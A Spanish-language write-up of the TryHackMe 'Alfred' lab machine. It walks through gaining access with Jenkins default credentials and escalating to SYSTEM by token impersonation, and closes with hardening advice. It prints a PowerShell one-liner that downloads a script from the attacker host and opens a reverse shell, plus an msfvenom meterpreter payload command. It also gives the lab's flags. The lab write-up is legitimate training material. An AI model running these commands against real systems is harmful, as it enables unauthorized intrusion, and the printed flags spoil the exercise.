Writeup de la máquina Alfred en TryHackMe.
Resumen
Vamos a ver cómo explotar una máquina Windows con un servicio Jenkins expuesto. Usando credenciales por defecto, logramos ejecutar comandos remotos a través de la funcionalidad de construcción de Jenkins y obtenimos un acceso inicial. A partir de ahí, escalamos privilegios utilizando técnicas de suplantación de tokens, alcanzando finalmente control administrativo total del sistema.
Reconocimiento
Lo primero fue realizar un escaneo de red con nmap
para identificar puertos y servicios abiertos.
Resultado del reconocimiento
Sistema Operativo | Dirección IP | Puertos Abiertos |
---|---|---|
Windows Server | 10.10.149.26 | 80, 3389, 8080 |
Los puertos 80 y 8080 fueron analizados en el navegador. En el puerto 8080, encontré un portal de inicio de sesión de Jenkins, una herramienta ampliamente usada para CI/CD.
Explotación
Probé credenciales por defecto (admin:admin
) en el portal de Jenkins, y sorpresa: funcionaron. Esto me dio acceso al dashboard.
En la configuración del proyecto, utilicé la sección “Build” para ejecutar comandos. Usé este script de PowerShell para establecer una reverse shell:
1iex (New-Object Net.WebClient).DownloadString('http://10.6.5.62:8008/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.6.5.62 -Port 4321
Con la opción Build Now, conseguí conectarme exitosamente a la máquina objetivo desde mi terminal atacante.
Escalación de Privilegios
Una vez dentro de la máquina, generé un payload ejecutable para obtener una sesión de meterpreter
utilizando msfvenom
:
1msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.6.5.62 LPORT=4444 -f exe -o revshell.exe
Transferí el payload a la máquina objetivo utilizando certutil
y lo ejecuté, estableciendo una conexión meterpreter
con mi máquina atacante.
Revisando los privilegios del usuario, podemos ver que tenemos los permisos SeDebugPrivilege
y SeImpersonatePrivilege
. Estos permisos permiten suplantar tokens y acceder a procesos con permisos elevados. Utilicé el módulo incognito
de Metasploit para explotarlos.
Finalmente, migré el proceso a un servicio con permisos SYSTEM
, logrando control completo sobre la máquina.
Banderas
Con acceso administrativo, encontré las banderas:
- user.txt:
79007a09481963edf2e1321abd9ae2a0
- root.txt:
dff0f748678f280250f25a45b8046b4a
Herramientas Utilizadas
Herramienta | Descripción |
---|---|
nmap | Escaneo de red y detección de servicios abiertos. |
Jenkins | Plataforma explotada con credenciales por defecto para ejecutar comandos. |
msfvenom/metasploit | Generación de payloads y escalación de privilegios con el módulo incognito. |
certutil | Transferencia del payload a la máquina objetivo. |
Conclusión
La explotación del sistema Alfred reveló problemas críticos como servicios expuestos con credenciales por defecto y configuraciones incorrectas de privilegios, lo que permitió escalar hasta el nivel de administrador.
Recomendaciones
- Actualizar Jenkins y eliminar credenciales por defecto.
- Configurar un firewall para restringir accesos innecesarios.
- Implementar políticas de contraseñas robustas.
- Limitar privilegios innecesarios en los usuarios.